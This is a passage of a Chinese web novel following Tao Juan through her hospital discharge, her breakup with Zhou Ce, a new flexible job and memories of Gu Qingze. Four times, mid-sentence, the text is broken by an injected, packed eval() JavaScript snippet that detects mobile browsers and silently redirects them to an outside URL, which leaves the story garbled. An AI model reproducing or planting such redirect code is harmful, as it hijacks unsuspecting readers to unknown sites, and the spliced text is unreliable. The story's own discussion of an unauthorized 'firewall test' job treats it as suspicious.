正说着话,闹钟响了,陶涓赶紧跟大舅舅妈拜拜,“曹艺萱上跨年晚会了,马上就到她节目,我得给她录下来,孩子第一次上电视呢!” 舅妈还问:“哪个台呀?我们也换过去看看,唉哟萱萱是真出息了!” 曹艺萱参加的合唱是三对男女演员对唱,虽然歌词少,但导播很舍得给她镜头。 陶涓一边录一边美滋滋想:我闺蜜可真漂亮呀!太漂亮了!歌也唱得好,台风也好!我要是导播我也爱拍她!对对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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顾清泽站起来乱走了一阵,重新坐下,打开那天她来面试的视频,定格,放大,调高清晰度——她确实没有戴戒指。 他像是忽然踩空,降落了一会儿才发现自己坠入海中,挣扎了片刻才感到鼻腔灌满了咸涩的海水。 没有戒指。 他清楚地记得她让周测给她戴上那枚钻石戒指时有多高兴,双眼泪光莹然,比她手指上那颗钻石还要明亮,她带着泪滴的笑脸像阳光一样刺眼,而他,畏惧这样强烈的阳光,只能快速转身,假装从来没见过她和周测,也根本不认识他们。 顾清泽从回忆中挣脱后看到自己右手按在胸前,自嘲地笑了一下,一股莫名而来的悲哀慢慢从心底涌上。 陶涓一定是和周测分手了。 得出这个推论后他很惊讶,他竟然很难过。 从前他不止一次臆想过她跟周测分手,但这次可能成了事实,他反而一点也高兴不起来。 因为他见证过她那么认真地几乎拼尽全力地喜欢着一个人的样子。 她一定很难过。也一定受了很多、很多委屈。才最终决定不再喜欢周测了。 顾清泽打开车窗,几片雪花飘进车里,他仰头看着马路对面那些亮着温暖灯光的窗口,在心里默默说:祝你新年快乐,陶涓。 9. 新的一年 新年过后,陶涓就缠着主治医生要求出院。 理由也很充分,她在医院睡不好。 而且现在她晚上不用打吊针了,只要拿了处方在社区医院打针,继续吃药就好。 周测劝她:“要不你先搬到悠然苑住,我回我爸妈那住。悠然苑离医院近,你每天来白天病房打吊针,打完就可以回去休息。” 陶涓笑了笑,隔了一会儿才说:“你也认为我晚上不用再住在医院了?这样的话我当然是住在自己家里最舒服。” 周测无语。 陶涓再也不想去悠然苑那套房子住。 毕业那年她陪着周测住在那里,起初是觉得这样他下了夜班能尽快回家休息,尽管她每天上下班加起来要花两三个小时通勤。 倒也想过买车,可北市车牌摇中的几率才0.1%。 就算摇中了,每周还有一天限号,况且交通高峰时从这里到方舟大厦比公共交通更耗时,于是彻底熄了买车的念头。 实习医生确实是忙,是累,可刚出社会打拼的打工人哪一个不忙不累不需要加班? 渐渐的,陶涓感到吃不消。 她跟周测商量要不要把悠然苑的房子租出去,在安真医院和方舟大厦的中间租个房,这样两人上班都方便。 周测答应得很干脆,可每次要看房的时候他就刚好有各种事。要么急着去医院观摩手术,要么是突发病例,他有幸能跟主治医生一起写论文。 周测他妈雷主任更绝,听说了这个事,时不时给她转发“租客占着房东学区房的学位”之类的社会新闻。 陶涓发了回脾气,再次提出看房周测倒是真跟她去看了,不过每套房子他都能挑出一堆毛病,装修太旧,朝向不好,卫生间没有浴缸,小区人员成分复杂…… 每次看完房他都会说,“没事,咱们肯定能找到满意的房子,下一个一定更好。” 到后来中介都烦了,不再联系陶涓。 陶涓也不好意思再麻烦人家。 这么一拖,又过了几年。 有一年冬天,陶涓加班到十点多,又困又累,换季时又感冒了,发着低烧,头痛欲裂,同事给她一粒扑热息痛,她坐上地铁后睡着了,再醒来已经到了终点站。 这时就算打车回家到家也要两三点了,第二天上午还要在客户面前做演示,她实在折腾不动。叫上出租车,在离方舟最近的酒店开了个房,睡了一夜直接上班。 幸好天亮后她烧退了,客户演示也完成得不错,上司开心之余大发慈悲,这天让大家早早下班。 陶涓回到家,周测才醒来没多久,压根没发觉昨天晚上她没回家。 她安慰自己说,因为周测作息不规律,下夜班都是睡客卧才这样的。 可那股压住的失望从此在心里变成一股喷泉,时不时就会喷发,一次比一次更难压住。 隔天陶涓又联系上中介,周末在方舟附近看了几套一居室,选中了现在这套一室一厅,她这才发现,原来找房租房敲定合同,搬进去——这一系列事可以在一周内完成。 第一次在这个小家过夜时,开心之余,她忽然对自己很失望,也很后悔。 原来她早就可以过得更舒适,花在通勤上的时间可以用来在超市闲逛,可以多睡一小时,也可以什么都不干,她这几年究竟为了什么过得这么辛苦? 她不禁重新审视她和周测的关系,他真的值得她做出这么多牺牲吗? 起初陶涓只是加班时住在自己的老破小出租屋,很快变成周一到周五住在那。 半年后周测要去意大利米兰的医院交流学习,他出国后她干脆地把所有东西搬到小屋。 帮她搬家时曹艺萱劝她,要不,直接跟周测说分手吧,谁也不耽误谁。 陶涓却犹豫了。 从大二的暑假到现在,她和周测在一起整整六年。 六年的时间有多久呢? 这段时间等于:一个婴儿从降生到准备上小学,一个小学生从入学到成为初中生,初中和高中加起来。 如果六年的时间都无法磨合成功,对方还是一个和她各方面都很合适的人,那她还能找到另一个人吗? 周测也似乎感受到危机,他想要推迟去米兰的时间,把这次机会让给别人,可这样就意味着,今后罕见的大型手术中人家能做一助,他只能做二助,甚至只能观摩。 周院长和雷主任更是不理解,医生的职业晋升晚一步就步步晚,很难再追上,周测从小到大都是领跑的那个,为什么会突然有这个想法? 雷主任还让陶涓去劝周测。 陶涓劝了,周测最后还是去米兰了。 准备出院那天的下午,她输液包还剩三分之一时雷主任来了。 说是来看看她,不过寒暄了几句后,雷主任居高临下,亲切关怀道:“小陶,你舅舅现在怎么样了?” 陶涓心道,来了。 她不卑不亢微笑,“挺好的!他那水果店生意可好了,街坊邻居们都知道我舅舅的人品,知道他不会缺斤少两以次充好,都愿意来他店里买水果。” 雷主任哪能听不出她言外之意,也微笑:“那可真好,再过几年就能把亏空都还上了,你到时要结婚成家,生儿育女,哪一件都是花钱的事。” 陶涓看着雷主任笑,不说话。 雷主任丝毫不觉尴尬,在她病床边坐下,“你和周测虽然分手了,可我心里一直是把你当半个女儿看的,女孩子的青春比男孩子宝贵,身体养好,换一份不那么累的工作,找个合适的对象,安个家,我也为你高兴,不怕你笑话周测,这孩子有点死心眼,他总觉得你是为了你舅舅的事,不想拖累他才提的分手,国庆的时候我一个老姐妹想介绍一个姑娘,他连见都不见,说你一天不找对象他就等着。唉。” 陶涓垂下眼皮,“行,我找机会劝劝他。雷主任,您先去忙吧,我今天出院,待会儿我朋友来接我,还得收拾呢。” 送走雷主任没多久,曹艺萱来接陶涓。 她一眼看出闺蜜情绪不好,“怎么了?” 陶涓说了雷主任刚才跑来敲打她的事,曹艺萱抓起一个毛绒玩具当成周测拳击:“妈宝男!没担当!自私鬼!” “别别,打坏了漏水!” 曹艺萱定睛一看,这是个布丁狗造型的热水袋,“好可爱!你在哪儿买的?” “我捡的。” 打吊针时胳膊冷,裹上棉被也无济于事,陶涓想托护士帮忙买个热水袋,护士随手递给她这个热水袋,“可能哪个病人出院时放在这儿了,你不忌讳就拿走吧。哦,我给你用酒精喷一喷,消下毒。” 有些病人出院时不想带着“病气”回家就把在医院用的脸盆毛巾各种小物都留在病房。 陶涓不介意,她抱起这只可爱的布丁狗贴在脸庞,毛绒绒,软软的。 出院是值得庆祝的事,顺便再庆祝一下曹艺萱第一次上电视圆满成功,两人又去吃涮羊肉。 吃到一半,曹艺萱还是忍不住,“要是他去米兰那时你就跟他分手,没准就没今天这事了。” 陶涓低头不语。 那时她担心提出分手周测会真的放弃进修机会留在北市。她可担不起这么大的罪名。 于是她告诉他,不管怎么样她都会等他回国。 周测很感动,出国之后每天算好时差跟她通话、视频,几乎每周从米兰寄明信片和各种小东西到她公司,方舟所有人都知道她的男朋友周医生。 这让陶涓忽然有种错觉,仿佛回到两人刚开始热恋那段时间。 殊不知,爱情死亡之前也会回光返照。 那一年夏天,陶涓连着加班两个月,好不容易凑出十天的假期,从北市飞到米兰去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174267|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周测。 因为最后一分钟才定行程,直飞的票早就售罄,只好在罗马转机。 她安慰自己,两个多小时转机时间正好去贵宾休息室洗个澡,见到周测时不至于风尘仆仆。 办某个信用卡能使用一些机场休息室这个薅羊毛的招数还是顾清泽教她的。 可她刚走到休息室附近就收到周测的电话,接通后他说:“陶涓,回头。” 她回过头,他捧着一束玫瑰花对她笑,她怎么也没想到他会跑到罗马来接她,欢呼着跑过去拥抱他,他热烈回应她,接着从口袋里拿出个小盒子,里面是那枚亮晶晶的钻戒。 钻石是圆形明亮切割,切工精密,光彩闪烁,刺得她眼睛微疼。她迟疑,该答应吗? 不答应? 那么她飞了十几个小时来找他又是为了什么?不就是为了最后尝试一次挽救他们的感情吗? 她还在犹豫着,周测抓住她的手,给她戴上那枚戒指,周围的乘客们都在为他们鼓掌,她一时间迷茫又疲惫,也说不清是为什么,忽然落泪。 周测轻轻吻她额角,“说你愿意。” 她流着泪笑,用力抱他一下,把脸藏在他颈窝。 她对自己说,他这么用心,要不要再试一试? 原本的计划是到米兰第三天两人坐火车去马焦雷湖,那里是宫崎骏的《红猪》的取景地,是她从小向往的目的地之一。 可是那天,这米兰中央火车站,还有几分钟火车就到了,周测突然接到一个电话。 然后,他万分激动又万分抱歉地告诉陶涓,他要立即赶回医院。一个六岁的小患者一直在等心脏移植,刚才有了心源,马上就要进行手术。 他不能错过这场手术。他让陶涓先去,等病人稳定后他就过去找她。 陶涓能说什么? 六岁的小患者。 心脏移植手术。 真正的性命攸关。 观摩手术,也许作为助手,这些经验非常宝贵,以后能用在国内,拯救更多小患者。 所有这些,都比陪女友去游玩重要许多。 像从前很多次一样,陶涓无法拒绝,只能点点头:“那你快去吧。”再艰难地把自己的情绪咽下去。 周测走了很久之后,她还感到喉咙里有个不规则的硬块。像小时候不小心吞下了整个鸡蛋黄那么难受。 她终于承认了,她做不了周医生的女友。 是是是,病人很重要,医生的职责是救死扶伤,相比起来,她的程序员工作,她的情绪,她的梦想——全都没周测的那么重要,全都要为他让道,牺牲,委屈。 她总是首先被放弃的那个选项。 回北市的飞机上,陶涓第一次给自己升了舱,结结实实睡了十一个小时。 她累了。 几个月后周测回国,他回来的第二周,陶涓提出分手。 导火索是因为大舅。 他为发小做担保向另一个朋友借钱,没想到被从小认识的朋友骗了,钱全都拿去赌博输光了,人也跑没影了。 陶涓拿出自己全部积蓄,卖掉方舟的股票,悄悄转给舅妈,让她别告诉大舅钱是她的,不管怎么样,先把钱还上。 周测无意间听到她们对话,问了缘由后觉得不解:为什么不先走法律程序?大舅也是被骗了,法院也不一定会让他负责全部债务,怎么就到了要卖房卖股票的地步? 他的话里还藏着别的意思:那只是你的舅舅,哪里轮得着你来还债? 陶涓手在轻轻发抖,也不跟他辩论,只说,“我们家人做不出那种事。还有,我们分手吧。” 今天听雷主任的话,原来周测还觉得是她怕连累他才提出分手的? 唉哟,不会吧。 有些男人,永远不会反思,因为在他们的世界里,连太阳都是围着他们转的。 10. 谷底 陶涓出院这天晚上房东张阿姨来了。 她仔细打量陶涓,“怎么就心肌炎了?” 收了租金,张阿姨又问,“小陶,你考虑得怎么样?要是你想买,阿姨再便宜两万块,咱们还能省个中介费。” 这房子是张阿姨原先单位的家属院,学区房,租金不贵,房价贵。 不过她儿子早就移民去了澳洲,孙子现在都要上大学了,学位一直没用上。 今年年初这个小区并入了更好的学区,市面如此不景气,这里的房价却小涨,张阿姨就生出卖房的念头,先问陶涓想不想买。 当时陶涓确实认真考虑过,这里离方舟很近,周围商业配套又成熟,交通便利,不过,现在她是无业游民,拿得出首付也没法办贷款。 她只好跟张阿姨说:“您先在中介那挂上吧,要是有人来看房,你提前跟我打招呼。” 第二天曹艺萱接陶涓去超市,说起房子的事,曹艺萱叫她别急:“就算张阿姨要卖,也得几个月才卖得出吧?就算卖了,新房东也不一定就要立刻搬进来,没准还让你继续租着。不过啊,你老实跟我说想不想买这个房子?我们公司刚分红了,我今年还真有点小钱,我又不急着用钱,你先拿去,全款把这房子买了!” “不买不买!”陶涓赶紧数这房子的缺点,“二三十年房龄,还是顶楼,冬天冷夏天热,根本没有升值空间,租金回报率才1%,绝对不买!这大几百万放银行里年利率都不止这么多。” 曹艺萱建议:“要不你买我们小区吧?我楼上有个业主最近要卖房。你买了,咱们当邻居。” “不买。太贵。太大。买不起。” “行吧,反正你要是有需要,就先跟我吱声。”曹艺萱知道陶涓的难处。父亲去世早,妈妈再婚,家庭关系复杂,轻易不会向家人求助。 “没准我跟罗莹去当数字游民,不在北市租房了。” 中午吃饭时陶涓提醒曹艺萱,“你没再给我订饭吧?” “什么饭?” “王府酒店的粤菜外卖啊!看你这记性,幸好我想起来。” 曹艺萱刚想说外卖不是她订的,会不会是周测?话到嘴边她转念一想,管这混蛋男人干嘛?都分手几年了昨天又让她闺蜜受气。 于是含糊道:“知道了!你来看看这汤底好了没?” 送走曹艺萱,陶涓去社区医院打吊针,打开手机看看银行余额,方舟还是没给她补偿金。 北市灵活就业养老保险的缴纳标准不低,再计算一下房租、社保医保和日用支出,不禁连连叹气。 罗莹说不行就回老家考公务员,陶涓无聊时查了查公务员体检标准,其中一条是曾患心肌炎的要从严检查,有房颤等症状的不通过。她的症状可比房颤还严重。 怎么办? 原先跟小师弟孟霄说要是过完年还找不到工作就找他帮忙接点兼职零活儿,现在看来得提前了。 孟霄效率挺高,这天晚上就发给陶涓一个临时兼职的活儿,为一家公司做防火墙测试,如果陶涓愿意接,定金5000,测试出报告后给一万,如果能攻击成功,找出防火墙的漏洞还有两万奖金。 陶涓简直不敢相信,这么多?这活儿要是一个月接个两三单,她原先在方舟累死累活的是在做什么? 她先谢了孟霄,中介几分钟后就转给她定金,还有具体资料。 陶涓看了资料,心中的不安越来越强烈,这个活儿有点蹊跷。 她再次联系中介,询问那家公司的信息,最好还要有这个公司出具的进行测试的委托书。 中介很不耐烦,“客人就是想要匿名测试才找我们,不然他们内部不能测试吗?你不接有的是人等着要做!不做就把定金退给我!”说完不再回复。 过了一会儿孟霄联系陶涓,“师姐,那个活儿你不想接吗?” “当然不是呀!”陶涓给他分析,“你知道到底是谁在雇我们做防火墙测试吗?就算这个公司的信息不能透露,那委托书总该有吧?” 孟霄从没想过这个问题,“委托书?为什么要委托书?” 陶涓提醒他,“防火墙测试说白了就是测试员以黑客的身份攻击防火墙!没有委托书,你怎么知道雇你的人究竟是这个公司,还是他们的对手?” 孟霄一听反倒笑了,“师姐你想太多了!我都干了几年了,一点事没有。” 陶涓暗暗摇头,“我问你,你见过中介吗?中介公司你去过吗?还是一切都是线上联系?如果万一我刚才假设的情况真的发生了,中介把群一解散你知道到哪里找他们吗?你攻击防火墙的时候,人家会不会找到你的IP?到时候你要怎么证明自己是无辜的?” 孟霄还是不当回事,“师姐你真是太谨慎了,当初带我接兼职的朋友人家都干十几年了,哪有这样的事啊!” 她只好说的更直白,“方舟的一级程序员月基本工资才五万,接这么一单,加上出报告最多一周就能做完,就一万五,还有两万破解奖金,你不觉得可疑吗?” 孟霄沉默了好一会儿,“我不知道方舟的程序员工资是多少,毕竟我在方舟实习结束后没转正。” 陶涓一窒,猜自己得罪了他。 果然,孟霄说:“师姐,下次有别的活儿我再介绍给你吧。”然后就挂断了。 她看着手机上的“通话结束”,五味陈杂。 周测从前就说她管得多,瞎操心,还爱说教。 刚才她就差没跟孟霄说“不要为了钱误大事”,唉,这下把人得罪了。 孟霄要是肯认真想想她的话还好,就怕起了反作用,接这种来路不明的活儿接的更起劲。 她托着下巴,问自己,现在怎么办? 要不,请孟霄吃顿饭,再谈谈……? 唉算了,算了,当初她得罪顾清泽,也差不多是这个流程,结果就是人家把她拉黑了。 顾清泽一个未成年的小孩来人生地不熟的北市念书,又有两人在波士顿做战友夺冠那段经历,就算院长和系主任没交待她也会留心照顾他。 不过,少爷都有少爷脾气,去军训前还好好的,军训回来后就不再联系她了。 当时周测就说她多管闲事,人家有管家有保姆,哪用得上她。 几天后她在校医院打吊针遇见顾清泽,还是忍不住问他过得怎么样,怎么生病了,是不是不习惯北市的气候。 这小孩说气温低也不是没见过,为什么北市哪里都没有暖气啊?其他人是怎么活下来的? 陶涓告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174268|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,北市有暖气,不过11月中旬才开。 哦还有,有种东西叫秋裤。学生超市就有卖的。 她打完吊针,把自己的小热水袋给他,他笑得两眼弯弯的,像只很有礼貌的猫咪。 他总是这样子,隔一段时间就突发恶疾似的,无缘无故阴阳怪气她,然后又毫无预兆地阴转晴天,甚至还刻意“巴结”一下,送几块她喜欢的巧克力,要么是什么可爱的文具。 次次这样,她摸不着头脑,只能理解为他就是这样喜怒无常的性子。 这么过了一个学年,大三暑假时,他说想要做个无人机的小组项目,她觉得想法很不错,还给他一些务实的建议,只是她暑假后半段要去方舟实习,再开学后也没法参加。 多正常的事,顾清泽竟然大发少爷脾气,狠狠挖苦她一番,接着从宿舍搬走,搬回顾家为他置办的高级公寓,临走前还跟她撂狠话。 她气得头疼,跟自己说以后再也不管这小屁孩的烂事。 快开学时回宿舍住的人渐渐多了,某天晚上临睡前她听室友们八卦,说起顾清泽在公寓日夜大开趴体,来者不拒。 她脑子里立刻又闪现初见他时那“酒池肉林”的荒唐景象。他来T大后也在酒店开过类似的趴体,更是乌烟瘴气,上次被她冲去把人赶走了,这次不知道闹成什么样子。 陶涓没想到自己在方舟实习,每天累得要命,竟然还有闲心为人操心。 终于,她忍了又忍,还是在周末发微信跟他说“未成年不能喝酒,不要什么人都往家里带,多危险呀”之类的话。 然后? 然后她就被拉黑了。 周测曾说她是爱心泛滥,曹艺萱说她总容易心软,而且别人但凡对她表露一点善意,她就要回报人家十分。 可能他们说的都对,反正就是,都被拉黑了,陶涓还是担心顾清泽。 她放不下心,隔了几天还是决定去他家里看看他到底搞什么。 他从前给了她一副公寓的门禁卡,就算绝交,也得把卡还给他。 陶涓直接杀上门,电梯打开后就觉得哪里有些不对,刷卡进了门,静悄悄的,大厅一个人没有,也不见杂乱。 她的心忽然悬起来,好多美剧凶杀案恐怖片似乎也是这个套路:富家公子大搞派对,一些危险的宾客不请自来,最后主人的尸体要么躺在床上要么浮在游泳池里。 “顾清泽?”她大声叫他,没有人回应,她跑去室内泳池,碧波荡漾,光影随着水波投在墙上。外面的露台上也空无一人。 这时陶涓听到脚步声,像是有人从二楼走下来,她急忙跑回客厅,看到顾家派来北市那位管家。 那头发花白的老头彬彬有礼告诉她:“顾先生离开北市了。您有什么需要我转达的吗?” 陶涓没想到,在酒池肉林之后,顾清泽为她具象化的下一个成语是人去楼空。 开学后她才知道“离开北市”的意思。 顾清泽退学了。 她这才发现,自己并没有他其他联系方式,也不知道他真正的家在哪里。 他就这么从她的世界里消失。 果断,决绝,不留余地。抛弃一切对自己不再有益的东西。 和她的优柔寡断正相反。 11. 峰回路转 跌入人生的谷底后该怎么办? 陶涓选择到图书馆借点心灵鸡汤。 听说罗永浩当年考GRE就是这么干的,先去地摊买了几十斤心灵鸡汤书籍,然后就着鸡汤狂背单词。 陶涓找到两本书,正在翻阅,忽然接到太平人事部的电话,先问候她,现在身体状况怎样? 得知她还要在社区医院打一周吊针后,又问她是否仍然愿意为太平工作,不要求按点上班,按工时计酬劳,办公地点也灵活,可以在家工作,同事太平也会给她在太平大厦26楼准备一间办公室,在Rosy隔壁。 陶涓听完都怀疑自己是不是听错了——太平,居然愿意请她兼职? 好吧,也有点像临时工,但是——这不就和接零活儿一样吗?还不用别中介抽成,更不用担心扯上官司。 当然愿意啊! 人事部的人也很高兴,“那太好了,Rosy稍后会跟你联系,她会把项目资料发你邮箱。” 陶涓把心灵鸡汤放回书架,几乎一路小跑回家,先打开邮件看资料,再跟Rosy线上会议,不一会儿人事部也加入,谈好了关于薪酬和工作时间安排的具体事宜后就离开,让Rosy继续介绍这个项目,又过了一会儿,李唯安也加入会议。 陶涓要接的活儿是关于广告宣传投放的算法工程。 有一部太平投资的电影准备在春节档上映,同时太平也负责电影的宣发。 一部电影的制作可以长达几年,最终上映的时间往往不过几十天,如果前期成功,院线才会安排更多拍片,更好的放映时间。 暑假档和春节档,尤其是春节档,是整个电影市场厮杀最激烈的,各种宣传的招数越来越多。 什么时候追加宣发资金,在哪些社交平台进行宣发,选哪些up主和博主写软文,怎么预防对手的各种阴险招式(同时也要选好时机放对手电影男女主、导演的黑料)全都是宣发中不能忽视的一环。 电影的宣发资金在近几年越来越高,去年的票房冠军,宣发资金几乎是制作成本的三分之一。 这次太平准备拿出近九位数做电影宣传,要怎么才能让这笔钱效率最大化,不仅要根据以往的经验制作模型,做出预计,还要在放映器跟踪数据,随时调整。 从前李唯安专门负责这个,但怀孕分割掉她大块的精力,她将工作拆分,陶涓主要负责维护和跟踪调整算法,Rosy负责进一步细分职责,调度部门中十几个员工。 因为李唯安和大家有时差,一些会议是在晚上八点以后进行,但这对陶涓根本不算什么。 从前在方舟半夜被叫起来开会是寻常事,还不给算加班费呢,太平的合同上说了,开会也算工时,十点以后还给双倍薪酬。 线上会议结束后,陶涓生怕这失而复得的机会稍纵即逝,午饭都没吃直接去太平签合同。 Rosy带她去看给她准备的办公室,单独一间,不大,但是竟然有窗口。 陶涓不由感叹。 在方舟最后几年,为了降本增效,更可能只是管理层为了给自己刷KPI,高级程序员不再有单独办公室,团队所有人要坐在一起。 过了一阵,管理层又说要提高沟通效率,于是大家连个三面小隔间都没了,电脑屏幕后面就是同事的脸,斜斜眼睛就能看到旁边两位同事的屏幕。 有一次罗莹吐槽:看,咱们像不像站在食槽前面的一排牛马? 大刘更正她:像养鸡场里的排成排的母鸡。资本家只等你下出金蛋。 陶涓在太平给她的新办公桌上签了合同。 她决定,为了这难得的尊重她绝不会把这份工作当一份只是赚钱的零活儿——不管能为李唯安服务多久。 拿着自己那份合同离开太平大厦后陶涓才察觉她忘了换曹艺萱钦定的Max Mara大衣,又穿着黑色棉被羽绒服去了。 她等不及要给曹艺萱报喜讯,坐在出租车上打电话:“姐们儿复活了!你在哪儿?我接你去吃饭!” 曹艺萱嗷嗷欢呼了一阵,“你看,我就说吧,你只缺一个机会!保持大无畏乐观主义心态,一切都会越来越好的。” “借你吉言。” 虽然有了簇新的办公室,但陶涓上午要打吊针,和李唯安的会议主要在晚上8点以后,和Rosy商量之后还是在家工作。 她重新摆放客厅家具,再把几盆绿植搬到在沙发和书桌之间,这样就隔出一个正式的工作区。 她暗暗对自己说,这样也好,和李唯安的合约结束后她没准会真的离开北市做数字游民,提前适应一下在家工作是什么感觉。 曹艺萱劝她不要想那么远,“什么叫峰回路转,柳暗花明?这就是啊。没准很快房子的事也会解决!再说,你病还没好利索呢,想什么当数字游民的事啊,我倒是在横店当过游民,酒店一住几个月,烦呐,再不杀青都想退圈了。” 陶涓立刻有新主意:“那我以后就到横店当数字游民,咱俩租个房子——能做饭那种!你收工了就回家,我已经给你煲好一锅靓汤!” 曹艺萱咯咯笑,“行行行,到时我包养你!” 新工作做到第三周,陶涓已经习惯了在家线上工作,和李唯安、Rosy的配合也越来越默契,一切渐入佳境。 有天中午张阿姨突然拜访,满脸喜色,“小陶,托你的福,我房子卖掉了!” 她看见陶涓愣住,赶紧补充,“对你也是好消息——新屋主说你尽管继续住着!房子成交后两个月的租金他们也没要!” 说完这一大串话,张阿姨才走进来,“我听中介说,看房那天人家都没进来,门一打开,站在门口看了一眼就定下来了!我早就说嘛,这屋子给你收拾得这么干净漂亮,哪个买房的能挑出毛病……”说着忍不住掩口笑起来。 看得出张阿姨是真高兴,她坐在沙发上,告诉陶涓房产交易现在进行到哪一步了,她到现在都没见过新屋主,“做生意的,有钱!买这房子就是为了学区,唉哟,孩子还没结婚就想到孩子的孩子上学了!哈哈哈哈……” 像是想到自己也曾经这样,她又忍不住笑了,然后拿出一串钥匙,“小陶,你待会儿给我写个收据,新屋主让我把所有钥匙交给租客,你再给中介留个电话,以后有什么事你们联系。哦对了,接下来两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174269|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月的租金还是给我的啊!” 张阿姨走后,陶涓看看日历,就在几周前,她还感叹流年不利,人生到了谷底,没想到短短一个月峰回路转,工作也有了,虽然不是很稳定,但是同事们容易相处,工作时间灵活,最重要的是薪酬公道还按周付款从不拖欠,现在房子也稳定了,虽然不是自己买的,但是住了几年按自己的心意布置,不用找房搬家,少了多少折腾啊。 太幸福了。 转眼间到了腊月二十三,陶涓中午给妈妈打了电话,宋靖耘告诉她,“上午我去看过爸爸了,也给爷爷奶奶的墓扫了扫。” 滨市的习俗,这一天要告诉逝去的亲人要过年了。 陶涓不知道爷爷奶奶家乡是什么习俗,他们从广府来支援边疆,永远留在了滨市,从她有记忆起,家里就是按滨市习俗扫墓的。 说完这个,宋靖耘又问陶涓什么时候回家。 陶涓说:“得除夕前一天才能到家。今年我和曹艺萱坐卧铺回去,大舅来接我。你跟林爸说不用费事了。我晚上再去家里吃饭。” 宋靖耘沉默一下,“好。” 临走那天陶涓早早收拾停当,等着周测来接她。 前天晚上他说自己今天休假,一定要送她去车站,陶涓其实觉得大没必要,但和他通话时正忙着要完成工作,没时间多拉扯,再一想也好,见了面就劝他今年去相亲别拿她当挡箭牌。 晚上十点的火车,八点了周测还没来,曹艺萱打电话问陶涓问到哪儿了,陶涓说,“我正下楼呢,待会儿见。”幸好她在十分钟前已经叫了专车。 这个老小区还没加装电梯,好在行李不多,走一层休息一会儿,拖着箱子到了小区门口,车也刚好到了。 看到北市火车站的钟楼时周测才打来电话,他气喘吁吁,“今天早上临时加了个手术,我现在过来……” 陶涓打断他,“我已经到了。你快点回家休息吧。” 周测再三道歉,说觉得手术肯定在六点之前能结束就没告诉她。 陶涓早就见怪不怪,也不生气,“我要进站了,待会儿再聊。” “行,你坐上车了给我发消息。” 紧赶慢赶到火车站,过了安检,一眼看到望眼欲穿的曹艺萱,她惊讶地跑来接陶涓的双肩包,“周测怎么连送人也不会?让你自己大包小包进来了?” 陶涓摇摇头,“上车再说。” 她们买的高级软卧,两人一个小包厢,关上门陶涓把周测干的不靠谱事一说,女明星都要飙脏话:“我靠,乌鸡鲅鱼。乌鸡鲅鱼。他临时加手术就该赶快告诉你,让你有个准备,到了7点他还没来就叫车呀!为什么不告诉你?我是真搞不明周医生的思路,他也不傻呀,是不是?不然也不能当医生!哎哟我去,服了他啦!” 陶涓剥了个砂糖橘喂闺蜜,“这有什么难懂的,在他看来,重要的不是‘陶涓能准时坐火车’,而是‘周测完成了送陶涓去火车站’这项任务。” 曹艺萱也只能摇头,举起保温杯碰碰闺蜜的保温杯,“来,敬你一杯!” 在她看来,陶涓没跟周测继续走下去,是绝对值得庆祝的一件事。 12.上次坐火车还是大三暑假 她们乘坐这趟列车从北市出发直达滨市,两人白天都挺忙,躺在卧铺上又聊了几句就睡着了。 列车轻微晃动,车轨有规律的碰撞声就像白噪音,这一觉居然睡得很香。 途中陶涓醒来过一次,掀开窗帘一角,车窗外隐约是一片被白雪覆盖的平原,被夜色染成蓝灰色的绒毯。列车不知为什么停在这里。 她忽然想起来,自己上一次乘火车是大三暑假。 为了能在评优时更有优势她报名参加学校组织的去山区送温暖项目,那个叫“白马村”的山村在西南山区,从北市直达的只有绿皮火车,要将近30个小时。 现在回想起来都觉得这旅途漫长得可怕,那时的自己真的是太拼了。 幸好上车不久大家陆陆续续补上了卧铺票,不过,是六张床一个隔间的硬卧,还只换到上铺票。 坐在铺位上身体没法完全坐直,躺着胳膊都不用伸直就能摸到天花板。 这趟列车是慢车,却偏偏叫“快速”,K字打头,逢站必停,有时还会无缘无故停在旷野里,而且一停车风扇也停,空调?不存在的。 七月的天,车厢里热得像蒸笼。 陶涓向来怕热,上车不久就蔫吧了。 另外几个同学在十几个小时后也一个个像脱水的鱼,零食不吃了,牌也不打了,手机也没信号,整个车厢又是汗味又是烟味,小孩哭大人叫。 令她意外的是,顾清泽始终一句也没抱怨,好像还挺喜欢这趟堪称受罪的旅程。 